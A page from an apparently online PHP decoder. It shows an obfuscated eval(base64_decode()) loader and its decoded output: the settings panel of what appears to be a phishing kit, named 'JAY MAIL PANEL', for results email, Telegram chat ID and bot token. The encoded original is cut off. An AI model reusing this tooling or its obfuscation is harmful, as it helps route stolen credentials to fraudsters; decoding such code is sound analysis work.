Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCg0KJGxvY2F0aW9uID0gJ2pheWxvZ2luLnBocCc7DQokdGl0bGU..

Decoded Output download

?>b'<?php

$location = \'jaylogin.php\';
$title = \'JAY WEB PANEL\';
$heading = \'JAY MAIL PANEL\';
$owner = \'https://telegram.me/OFFICIALJAYREAL79\';
$file = \'jay/web/here/jay.json\';

session_start();
if (!isset($_SESSION[\'username\'])) {
    header(\'Location:\' . $location);
    die;
} else {
    $username = $_SESSION[\'username\'];
}

$jsonString = file_get_contents($file);
$data = json_decode($jsonString);
$content = json_decode($jsonString, true);

$email = $data->email;
$name = $data->name;
$sender = $data->sender;
$pass = $data->password;
$chat = $data->chat;
$bot = $data->bot;
$banner = $data->banner;

if (isset($_POST[\'nameUpdate\'])) {
    $newName = $_POST[\'newName\'];
    $content[\'name\'] = $newName;
    $updatedJsonData = json_encode($content);
    file_put_contents($file, $updatedJsonData);
    header(\'Location: \' . $location . \'?msg=Name%20Updated%20Successfully,%20please%20Login%20Again\');
}

if (isset($_POST[\'emailUpdate\'])) {
    $newMail = $_POST[\'newEmail\'];
    $content[\'email\'] = $newMail;
    $updatedJsonData = json_encode($content);
    file_put_contents($file, $updatedJsonData);
    header(\'Location: \' . $location . \'?msg=Email%20Updated%20Successfully.%20Please%20Login%20Again\');
}

if (isset($_POST[\'senderUpdate\'])) {
    $newSenderMail = $_POST[\'newSender\'];
    $content[\'sender\'] = $newSenderMail;
    $updatedJsonData = json_encode($content);
    file_put_contents($file, $updatedJsonData);
    header(\'Location: \' . $location . \'?msg=Sender%20Mail%20Updated%20Successfully.%20Please%20Login%20Again\');
}

if (isset($_POST[\'passUpdate\'])) {
    $newPass = $_POST[\'newPass\'];
    $content[\'password\'] = $newPass;
    $updatedJsonData = json_encode($content);
    file_put_contents($file, $updatedJsonData);
    header(\'Location: \' . $location . \'?msg=Password%20Updated%20Successfully.%20Please%20Login%20Again\');
}

if (isset($_POST[\'chatUpdate\'])) {
    $newChat = $_POST[\'newChat\'];
    $content[\'chat\'] = $newChat;
    $updatedJsonData = json_encode($content);
    file_put_contents($file, $updatedJsonData);
    header(\'Location: \' . $location . \'?msg=Chat%20ID%20Updated%20Successfully.%20Please%20Login%20Again\');
}

?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $title ?></title>
    <link rel="stylesheet" href="styles/data.css">
    <link href="https://fonts.googleapis.com/css2?family=Outfit&family=Rajdhani:wght@600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/all.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-thin.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-solid.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-regular.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-light.css">
    <style>
        label {
            display: block;
        }

        h2 {
            font-size: 1.4em;
        }
    </style>
</head>

<body>
    <div class="container">
        <div class="login-box">
            <div class="heading">
                <h2><?php echo $heading ?></h2>
            </div>
            <div class="form">
                <div class="inputs">
                    <div id="old">

                        <!-- Show Email Section -->
                        <label for="currentMail" style="display: block;">
                            <p><b>Current Email Address</b></p>
                        </label>
                        <input type="text" class="input" name="currentMail" readonly value="<?php echo $email ?>"><br><br>

                        <!-- Show Name Section -->
                        <label for="currentName" style="display: block;">
                            <p><b>Current Results Name</b></p>
                        </label>
                        <input type="text" class="input" name="currentName" readonly value="<?php echo $name ?>"><br><br>

                        <!-- Show Chat ID Section -->
                        <label for="currentChat" style="display: block;">
                            <p style="color: #5700fa"><b>Current Chat ID</b></p>
                        </label>
                        <input type="text" class="input" name="currentChat" readonly value="<?php echo $chat ?>"><br><br>
                    
                    </div>
                    <form method="post">
                        <div class="change-box-email">
                            <div class="input-container" id="emailUpdate" style="display: none;">
                                <input type="email" name="newEmail" required class="input2" placeholder="Enter New Email Address"><br><br>
                                <button name="emailUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                    <form method="post">
                        <div class="input-container" id="nameUpdate" style="display: none;">
                                <input type="text" name="newName" required class="input" placeholder="Enter New Results Name"><br><br>
                                <button name="nameUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                        <form method="post">
                            <div class="input-container" id="senderUpdate" style="display: none;">
                                <input type="text" name="newSender" required class="input" placeholder="Currently Under Maintenance" disabled><br><br>
                                <button name="senderUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                    <form method="post">
                        <div class="input-container" id="chatUpdate" style="display: none;">
                                <input type="text" name="newChat" required class="input" placeholder="Enter New Chat ID"><br><br>
                                <button name="chatUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                        <form method="post">
                            <div class="input-container" id="botUpdate" style="display: none;">
                                <input type="text" name="newBot" required class="input" placeholder="Under Maintenance" disabled><br><br>
                                <button name="botUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                        <form method="post">
                            <div class="input-container" id="passUpdate" style="display: none;">
                                <input type="text" name="newPass" required class="input" placeholder="Currently Under Maintenance" disabled><br><br>
                                <button name="passUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                    <form method="post">
                        <div class="input-container" id="bannerUpdate" style="display: none;">
                                <input type="text" name="newBanner" required class="input" placeholder="Unavailable" disabled><br><br>
                                <button name="bannerUpdate" class="btn-change1" type="submit" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-upload" style="background: rgb(5, 178, 231); border-radius: 50%; padding: 5px; margin-right: 5px; color: #000; font-size: 15px;"></i> UPDATE</button>
                                <button type="button" class="btn-change3" onclick="location.href=\'data.php\'" style="max-width: 100%;position: relative;left: 50%;transform: translate(-80%, 4px);"><i class="fa-solid fa-circle-xmark" style="padding: 5px; margin-right: 5px;color: #e22918; font-size: 15px"></i> Cancel</button>
                                <br><br>
                            </div>
                        </form>
                    </div>
                    <div class="submit">
                        <button class="btn-change" type="button" onclick="toggleDisplay(\'emailUpdate\')"><i class="fa-solid fa-inbox" style="padding: 5px; margin-right: 5px; font-size: 15px; color: #000; background: rgb(5, 178, 231); border-radius: 50%;"></i> Update Email</button><br>
                        <button class="btn-change" type="button" onclick="toggleDisplay(\'nameUpdate\')"><i class="fa-solid fa-inbox" style="padding: 5px; margin-right: 5px; font-size: 15px; color: #000; background: rgb(5, 178, 231); border-radius: 50%;"></i> Update Results Name</button><br>
                        <button class="btn-change" type="button" onclick="toggleDisplay(\'chatUpdate\')"><i class="fa-solid fa-inbox" style="padding: 5px; margin-right: 5px; font-size: 15px; color: #000; background: rgb(5, 178, 231); border-radius: 50%;"></i> Update Chat ID</button><br>
                        <button class="btn-change" type="button" onclick="toggleDisplay(\'botUpdate\')"><i class="fa-solid fa-inbox" style="padding: 5px; margin-right: 5px; font-size: 15px; color: #000; background: rgb(5, 178, 231); border-radius: 50%;"></i> Update Bot Token</button><br>
                        <button class="btn-change" type="button" onclick="toggleDisplay(\'bannerUpdate\')"><i class="fa-solid fa-inbox" style="padding: 5px; margin-right: 5px; font-size: 15px; color: #000; background: rgb(5, 178, 231); border-radius: 50%;"></i> Update Banner Link</button><br>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script>
        function toggleDisplay(id) {
            var updateSections = [\'emailUpdate\', \'nameUpdate\', \'senderUpdate\', \'chatUpdate\', \'botUpdate\', \'passUpdate\', \'bannerUpdate\'];
            updateSections.forEach(function(section) {
                document.getElementById(section).style.display = \'none\';
            });
            document.getElementById(id).style.display = \'block\';
        }
    </script>
</body>

</html>
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KJGxvY2F0aW9uID0gJ2pheWxvZ2luLnBocCc7DQokdGl0bGUgPSAnSkFZIFdFQiBQQU5FTCc7DQokaGVhZGluZyA9ICdKQVkgTUFJTCBQQU5FTCc7DQokb3duZXIgPSAnaHR0cHM6Ly90ZWxlZ3JhbS5tZS9PRkZJQ0lBTEpBWVJFQUw3OSc7DQokZmlsZSA9ICdqYXkvd2ViL2hlcmUvamF5Lmpzb24nOw0KDQpzZXNzaW9uX3N0YXJ0KCk7DQppZiAoIWlzc2V0KCRfU0VTU0lPTlsndXNlcm5hbWUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOicgLiAkbG9jYXRpb24pOw0KICAgIGRpZTsNCn0gZWxzZSB7DQogICAgJHVzZXJuYW1lID0gJF9TRVNTSU9OWyd1c2VybmFtZSddOw0KfQ0KDQokanNvblN0cmluZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCiRkYXRhID0ganNvbl9kZWNvZGUoJGpzb25TdHJpbmcpOw0KJGNvbnRlbnQgPSBqc29uX2RlY29kZSgkanNvblN0cmluZywgdHJ1ZSk7DQoNCiRlbWFpbCA9ICRkYXRhLT5lbWFpbDsNCiRuYW1lID0gJGRhdGEtPm5hbWU7DQokc2VuZGVyID0gJGRhdGEtPnNlbmRlcjsNCiRwYXNzID0gJGRhdGEtPnBhc3N3b3JkOw0KJGNoYXQgPSAkZGF0YS0+Y2hhdDsNCiRib3QgPSAkZGF0YS0+Ym90Ow0KJGJhbm5lciA9ICRkYXRhLT5iYW5uZXI7DQoNCmlmIChpc3NldCgkX1BPU1RbJ25hbWVVcGRhdGUnXSkpIHsNCiAgICAkbmV3TmFtZSA9ICRfUE9TVFsnbmV3TmFtZSddOw0KICAgICRjb250ZW50WyduYW1lJ10gPSAkbmV3TmFtZTsNCiAgICAkdXBkYXRlZEpzb25EYXRhID0ganNvbl9lbmNvZGUoJGNvbnRlbnQpOw0KICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdXBkYXRlZEpzb25EYXRhKTsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGxvY2F0aW9uIC4gJz9tc2c9TmFtZSUyMFVwZGF0ZWQlMjBTdWNjZXNzZnVsbHksJTIwcGxlYXNlJTIwTG9naW4lMjBBZ2FpbicpOw0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydlbWFpbFVwZGF0ZSddKSkgew0KICAgICRuZXdNYWlsID0gJF9QT1NUWyduZXdFbWFpbCddOw0KICAgICRjb250ZW50WydlbWFpbCddID0gJG5ld01haWw7DQogICAgJHVwZGF0ZWRKc29uRGF0YSA9IGpzb25fZW5jb2RlKCRjb250ZW50KTsNCiAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHVwZGF0ZWRKc29uRGF0YSk7DQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRsb2NhdGlvbiAuICc/bXNnPUVtYWlsJTIwVXBkYXRlZCUyMFN1Y2Nlc3NmdWxseS4lMjBQbGVhc2UlMjBMb2dpbiUyMEFnYWluJyk7DQp9DQoNCmlmIChpc3NldCgkX1BPU1RbJ3NlbmRlclVwZGF0ZSddKSkgew0KICAgICRuZXdTZW5kZXJNYWlsID0gJF9QT1NUWyduZXdTZW5kZXInXTsNCiAgICAkY29udGVudFsnc2VuZGVyJ10gPSAkbmV3U2VuZGVyTWFpbDsNCiAgICAkdXBkYXRlZEpzb25EYXRhID0ganNvbl9lbmNvZGUoJGNvbnRlbnQpOw0KICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkdXBkYXRlZEpzb25EYXRhKTsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGxvY2F0aW9uIC4gJz9tc2c9U2VuZGVyJTIwTWFpbCUyMFVwZGF0ZWQlMjBTdWNjZXNzZnVsbHkuJTIwUGxlYXNlJTIwTG9naW4lMjBBZ2FpbicpOw0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydwYXNzVXBkYXRlJ10pKSB7DQogICAgJG5ld1Bhc3MgPSAkX1BPU1RbJ25ld1Bhc3MnXTsNCiAgICAkY29udGVudFsncGFzc3dvcmQnXSA9ICRuZXdQYXNzOw0KICAgICR1cGRhdGVkSnNvbkRhdGEgPSBqc29uX2VuY29kZSgkY29udGVudCk7DQogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICR1cGRhdGVkSnNvbkRhdGEpOw0KICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkbG9jYXRpb24gLiAnP21zZz1QYXNzd29yZCUyMFVwZGF0ZWQlMjBTdWNjZXNzZnVsbHkuJTIwUGxlYXNlJTIwTG9naW4lMjBBZ2FpbicpOw0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydjaGF0VXBkYXRlJ10pKSB7DQogICAgJG5ld0NoYXQgPSAkX1BPU1RbJ25ld0NoYXQnXTsNCiAgICAkY29udGVudFsnY2hhdCddID0gJG5ld0NoYXQ7DQogICAgJHVwZGF0ZWRKc29uRGF0YSA9IGpzb25fZW5jb2RlKCRjb250ZW50KTsNCiAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJHVwZGF0ZWRKc29uRGF0YSk7DQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICRsb2NhdGlvbiAuICc/bXNnPUNoYXQlMjBJRCUyMFVwZGF0ZWQlMjBTdWNjZXNzZnVsbHkuJTIwUGxlYXNlJTIwTG9naW4lMjBBZ2FpbicpOw0KfQ0KDQo/Pg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+PD9waHAgZWNobyAkdGl0bGUgPz48L3RpdGxlPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0ic3R5bGVzL2RhdGEuY3NzIj4NCiAgICA8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PU91dGZpdCZmYW1pbHk9UmFqZGhhbmk6d2dodEA2MDAmZGlzcGxheT1zd2FwIiByZWw9InN0eWxlc2hlZXQiPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9zaXRlLWFzc2V0cy5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjYuNS4xL2Nzcy9hbGwuY3NzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc2l0ZS1hc3NldHMuZm9udGF3ZXNvbWUuY29tL3JlbGVhc2VzL3Y2LjUuMS9jc3Mvc2hhcnAtdGhpbi5jc3MiPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9zaXRlLWFzc2V0cy5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjYuNS4xL2Nzcy9zaGFycC1zb2xpZC5jc3MiPg0KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9zaXRlLWFzc2V0cy5mb250YXdlc29tZS5jb20vcmVsZWFzZXMvdjYuNS4xL2Nzcy9zaGFycC1yZWd1bGFyLmNzcyI+DQogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL3NpdGUtYXNzZXRzLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92Ni41LjEvY3NzL3NoYXJwLWxpZ2h0LmNzcyI+DQogICAgPHN0eWxlPg0KICAgICAgICBsYWJlbCB7DQogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgfQ0KDQogICAgICAgIGgyIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS40ZW07DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbi1ib3giPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGluZyI+DQogICAgICAgICAgICAgICAgPGgyPjw/cGhwIGVjaG8gJGhlYWRpbmcgPz48L2gyPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dHMiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJvbGQiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8IS0tIFNob3cgRW1haWwgU2VjdGlvbiAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImN1cnJlbnRNYWlsIiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48Yj5DdXJyZW50IEVtYWlsIEFkZHJlc3M8L2I+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXQiIG5hbWU9ImN1cnJlbnRNYWlsIiByZWFkb25seSB2YWx1ZT0iPD9waHAgZWNobyAkZW1haWwgPz4iPjxicj48YnI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gU2hvdyBOYW1lIFNlY3Rpb24gLS0+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJjdXJyZW50TmFtZSIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PGI+Q3VycmVudCBSZXN1bHRzIE5hbWU8L2I+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXQiIG5hbWU9ImN1cnJlbnROYW1lIiByZWFkb25seSB2YWx1ZT0iPD9waHAgZWNobyAkbmFtZSA/PiI+PGJyPjxicj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBTaG93IENoYXQgSUQgU2VjdGlvbiAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImN1cnJlbnRDaGF0IiBzdHlsZT0iZGlzcGxheTogYmxvY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6ICM1NzAwZmEiPjxiPkN1cnJlbnQgQ2hhdCBJRDwvYj48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dCIgbmFtZT0iY3VycmVudENoYXQiIHJlYWRvbmx5IHZhbHVlPSI8P3BocCBlY2hvICRjaGF0ID8+Ij48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjaGFuZ2UtYm94LWVtYWlsIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1jb250YWluZXIiIGlkPSJlbWFpbFVwZGF0ZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJuZXdFbWFpbCIgcmVxdWlyZWQgY2xhc3M9ImlucHV0MiIgcGxhY2Vob2xkZXI9IkVudGVyIE5ldyBFbWFpbCBBZGRyZXNzIj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG5hbWU9ImVtYWlsVXBkYXRlIiBjbGFzcz0iYnRuLWNoYW5nZTEiIHR5cGU9InN1Ym1pdCIgc3R5bGU9Im1heC13aWR0aDogMTAwJTtwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC04MCUsIDRweCk7Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXBsb2FkIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiKDUsIDE3OCwgMjMxKTsgYm9yZGVyLXJhZGl1czogNTAlOyBwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4OyBjb2xvcjogIzAwMDsgZm9udC1zaXplOiAxNXB4OyI+PC9pPiBVUERBVEU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2hhbmdlMyIgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nZGF0YS5waHAnIiBzdHlsZT0ibWF4LXdpZHRoOiAxMDAlO3Bvc2l0aW9uOiByZWxhdGl2ZTtsZWZ0OiA1MCU7dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTgwJSwgNHB4KTsiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jaXJjbGUteG1hcmsiIHN0eWxlPSJwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4O2NvbG9yOiAjZTIyOTE4OyBmb250LXNpemU6IDE1cHgiPjwvaT4gQ2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1jb250YWluZXIiIGlkPSJuYW1lVXBkYXRlIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3TmFtZSIgcmVxdWlyZWQgY2xhc3M9ImlucHV0IiBwbGFjZWhvbGRlcj0iRW50ZXIgTmV3IFJlc3VsdHMgTmFtZSI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBuYW1lPSJuYW1lVXBkYXRlIiBjbGFzcz0iYnRuLWNoYW5nZTEiIHR5cGU9InN1Ym1pdCIgc3R5bGU9Im1heC13aWR0aDogMTAwJTtwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC04MCUsIDRweCk7Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtdXBsb2FkIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiKDUsIDE3OCwgMjMxKTsgYm9yZGVyLXJhZGl1czogNTAlOyBwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4OyBjb2xvcjogIzAwMDsgZm9udC1zaXplOiAxNXB4OyI+PC9pPiBVUERBVEU8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2hhbmdlMyIgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nZGF0YS5waHAnIiBzdHlsZT0ibWF4LXdpZHRoOiAxMDAlO3Bvc2l0aW9uOiByZWxhdGl2ZTtsZWZ0OiA1MCU7dHJhbnNmb3JtOiB0cmFuc2xhdGUoLTgwJSwgNHB4KTsiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1jaXJjbGUteG1hcmsiIHN0eWxlPSJwYWRkaW5nOiA1cHg7IG1hcmdpbi1yaWdodDogNXB4O2NvbG9yOiAjZTIyOTE4OyBmb250LXNpemU6IDE1cHgiPjwvaT4gQ2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWNvbnRhaW5lciIgaWQ9InNlbmRlclVwZGF0ZSIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld1NlbmRlciIgcmVxdWlyZWQgY2xhc3M9ImlucHV0IiBwbGFjZWhvbGRlcj0iQ3VycmVudGx5IFVuZGVyIE1haW50ZW5hbmNlIiBkaXNhYmxlZD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG5hbWU9InNlbmRlclVwZGF0ZSIgY2xhc3M9ImJ0bi1jaGFuZ2UxIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJtYXgtd2lkdGg6IDEwMCU7cG9zaXRpb246IHJlbGF0aXZlO2xlZnQ6IDUwJTt0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtODAlLCA0cHgpOyI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVwbG9hZCIgc3R5bGU9ImJhY2tncm91bmQ6IHJnYig1LCAxNzgsIDIzMSk7IGJvcmRlci1yYWRpdXM6IDUwJTsgcGFkZGluZzogNXB4OyBtYXJnaW4tcmlnaHQ6IDVweDsgY29sb3I6ICMwMDA7IGZvbnQtc2l6ZTogMTVweDsiPjwvaT4gVVBEQVRFPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b